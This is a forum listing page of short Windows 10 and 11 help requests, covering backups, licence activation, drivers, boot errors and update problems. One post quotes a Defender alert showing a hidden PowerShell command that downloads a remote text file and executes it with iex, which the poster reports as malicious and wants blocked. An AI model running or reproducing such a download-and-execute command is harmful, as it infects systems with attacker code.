Operating Systems Help & Support
If you use Windows, Linux, MacOS, ChromeOS or any other operating system use this forum for help and discussions.
791,206 topics in this forum
-
I recently backed up my hard drive to an external hard drive. Since doing that back up my Office files on my computer are not showing the most recent versions (it looks like some of the files are from 2022). My last Windows backup (to the cloud) was on December 1. I have not tried backing up again because I'm concerned the old files will replace the most current ones that I had prior to the external drive backup. Any idea what happened/how to fix? Thank you. Continue reading...
Last reply by Windows 10, -
My workspace is a positive-pressure office in an area for potential explosive gases. If our positive pressure is lost, AC power to the office is immediately shut down to prevent gases being exposed to power sources. With that said, regulations state that ALL devices must shut down immediately. Since it is almost impossible any more to find laptop computers with removable batteries, is there a way to make a Windows 10 laptop enter sleep mode immediately (not after 1 minute as in power settings) when AC power is interrupted? Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 2 views
A good friend of mine just gifted two windows 10 gaming pc’s to my nephews. They both had legitimate activated copies of windows 10. My friend gave me all of the hardware and the only things he took out are the none drives. I bought a couple of new ones and I think I can just reinstall windows 10 and it’ll auto activate based on the hardware since he only used the licenses on these computers and didn’t transfer them. Am I correct in that or is there more to it if I don’t have his product keys? Continue reading...
Last reply by Windows 10, -
Title means that without the "Windows Boot Manager" after installing Windows, the BIOS can't actually find a valid boot drive and therefore defaults to opening BIOS, even though I can go through the Windows installation files in command prompt using a bootable USB.System Information:Aorus x570 Elite Wifi Motherboard (BIOS Version F40d)AMD Ryzen 7 5800X 8-Core ProcessorFIKWOT FN970 1TB SSD (NVMe)64 GB DDR4 RAMI've tried installing Windows with both the Windows Media Installation Tool and Rufus using a bootable USB. As well as verifying the formatting of my SSD at different points to ensure it Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 2 views
I have an old laptop (HP) with limited memory (not upgradable), slow CPU and not upgradable to Windows 11.I want to move the 'PC' to a Hyper_V vhdx and then reactivate. however I understand that the OEM licence is tied to the laptop. After setting up the VM, can I purchase and use a retail licence to activate the VM. If yes, is there a recommended process of do I just add the key and activate? Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 3 views
I have a weird issue with my Asus X751LB touchpad driver running windows 10 that drivers from manufacturer's site, windows update, third party sources didn't actually solved the problem; I even applied solutions provided by Asus, but in vain. What is weirder is that I even bought a new "FFC" FLAT FLEXIBLE CABLE that connects the mouse to the motherboard and was identified as valid, but the missing driver always shows an exclamation mark. I forget to mention that it was functioning properly before I rolled back to another version from device manager that since; neither a driver seemed to restor Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 2 views
Good afternoon!I'm trying update my PC to Windows 10 and there's a box with error 0X80072F8F - 0X20000.Thanks Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 3 views
When i got my new laptop i went into xbox app and it says i need a ms game bar to go into it. However their was nothing in the microsoft store and in settings it says i had one and it was working .am i doing something wrong or need to download something or is their a differnt way to fox this ? Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 2 views
I received this message when downloading Adobe Pro Adobe Acrobat Pro DC (Licensed file) (1).img could harm your device. Do you want to keep it anyway? What should I do? Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 3 views
My account is locked and another method to verify not available and waiting for month Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 2 views
For a long time now (I think since I had to replace my corrupted C Drive & reinstall windows), when my PC wakes up, it takes several seconds to connect to the internet (when before it was instantaneous) and when it finally does after 5 to 10 seconds, it flashes this thin red border along the edge of the screen for a second. Additionally, until the internet reconnects, my mouse really lags or jumps around (though that may be an issue with Logitech and a requirement to be connected to the net, I don't know). I'd like to know why it's doing this and how I can resolve it....and apparently th Continue reading...
Last reply by Windows 10, -
I have no idea what caused this, it just randomly started happening out of nowhere. I can't type any lowercase As at all. Specs:Processor AMD Ryzen 3 3250U with Radeon Graphics 2.60 GHzInstalled RAM 8.00 GB (5.95 GB usable)System type 64-bit operating system, x64-based processor Continue reading...
Last reply by Windows 10, -
- 1 follower
- 0 replies
- 4 views
I recently upgraded my motherboard, cpu and ram.After installing the hardware, I used my laptop to install the latest bios version. After that, I was able to access my desktop. I began having using playing a game so I went back to the bios to use the ai overclock. After that I want not able to boot into windows. STOPCODE inaccessible_boot_device. So I went back to my bios and reset everything back to default. I was still receiving the same stop code. Auto repair could not correct the issue. I used create windows isntallation media to reinstall windows and I get to the part to select a driver f Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 5 views
I am locked out of my work account, I'm the admin the Authenticator app is in a damn looop ... please help asap .. 858-699-0966 .. Goerge Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 3 views
My File Explorer has suddenly become very unresponsive, taking several minutes to open fully while displaying the Message "Working On It." Windows update KB5046617 was installed two days ago, about when the File Explorer problem started. So I went to Windows Update in Settings and uninstalled it. Did not solve the problem and that update again appears on my list of installed updates. What else can I do to restore the performance of File Explorer? Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 4 views
Since the last update (2024-12 Cumulative Update for Windows 11 Version 24H2 for x64-based Systems (KB5048667)), my battery drains a lot faster and in sleep mode it drops to 0% extremely fast.In the last hour, my laptop was in sleep mode with the lid closed, and when I tried to open it, the battery was dead. Just before I closed my laptop the battery was around 65%. It happened to me twice today. It started just after the new update. How can I fix this? Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 6 views
scanner was working on windows. Somehow windows has corrupted the driver of scanner. tried everything-uninstalling, hard resetting scanner, re-installing drivers and all that. tried trouble shooter. scanner still not working. Same scanner is working fine on other PC Continue reading...
Last reply by Windows 11, -
Hi Microsoft, My mouse cursor keeps jumping to the top right corner of my screen as I work, and as a result, I keep closing all of my windows. Its very frustrating. I've read other forums and tried everything I can find online. Redirecting updated and downloaded new drivers for display and mouse. I've reverted to old drivers. I've reset my computer both preserving my info and and a total factory reset. I read that this would reinstall Windows.Manufacturer : LenovoM Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 5 views
hello, Community Recenttly, on Microsoft Defender recived the follow message as Executed powershell.exe command line ‘"PowerShell.exe" -W Hidden -command $url = 'https[:]//zip-store[.]oss-ap-southeast-1[.]aliyuncs[.]com/updated%20file/para[.]txt'; $response = Invoke-WebRequest -Uri $url -UseBasicParsing; $text = $response.Content; iex $text’.The URL involved is ‘'https[:]//zip-store[.]oss-ap-southeast-1[.]aliyuncs[.]com/updated%20file/para[.]txt' and it is highly malicious. and need a way to block the powershell commands. I need your help please. Regards Reinaldo Malo Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 6 views
For example, run \\thecomputer for the first timeA file explorer will popup, but at the address bar, it only shows "my computer" icon. https://imgur.com/Na1arby View: https://i.imgur.com/Na1arby.pngIf i click any folder then (back), the network and computer name will show up correctly.https://i.imgur.com/88wWg0j.pngIs there any setting related to this? Continue reading...
Last reply by Windows 11, -
Very simple. Every time there is a Windows update I can't use my touchpad. I have to revert the changes but with the next update it's back to being disabled. I've searched for the touchpad in the Device Manager under "Mice and other...." but I only see HID-compliant mouse. Can anyone help me with this? Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 5 views
I have a Lenovo Ideapad3. My last successful windows security/malicious software update was September 2023. I noticed I also need to install several Lenovo driver updates. However when I try too do so, it will say downloading 0%, then immediately show that it failed, and ask me to retry. Ive attempted this several times, and am not sure what I should do next Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 5 views
Hi I recently upgraded a user from windows 10 pro to windows 11 pro. The accounting program this user uses is called Business Vision. Business Vision uses a feature when printing to Print to Screen which uses Windows print screen feature and here is the issue. A collate option is auto selected when the user tries to print but this freezes the Business Vision program. I cannot go to the control panel and remove this setting directly from the printer preferences as this is specific to windows print screen. I have Contacted Business vision support on this and they have also said this is an i Continue reading...
Last reply by Windows 11, -
- 1 follower
- 0 replies
- 4 views
I am a teacher and I often use duplicated screen for my smartboard and my laptop. However, I would really prefer to use extended screen. My extended screen will turn on, but on the board it will just show my desktop background- if I try to actually open any tabs it refuses to click them. They will even show the preview when I hover over them and I can search things in the desktop search bar, but I cannot actually open anything. It is the same with wireless screenshare or with an HDMI cable. Continue reading...
Last reply by Windows 11, -
I just purchased a brand new lap top and brand new desktop. Desktop has Windows Pro, Laptop has Windows home. I backed up my desktop to my old computer, great no problems. Now, if I back up my new laptop to my new desktop, will that effect the new desktop? Can I use both from that point on sharing files through OneDrive? Basically I want to use both computers interchangeably including emails. Is that something Windows does and or you can help me with?Can I synchronize the emails and files between the laptop and desktop going both ways?Rick Continue reading...
Last reply by Windows 11,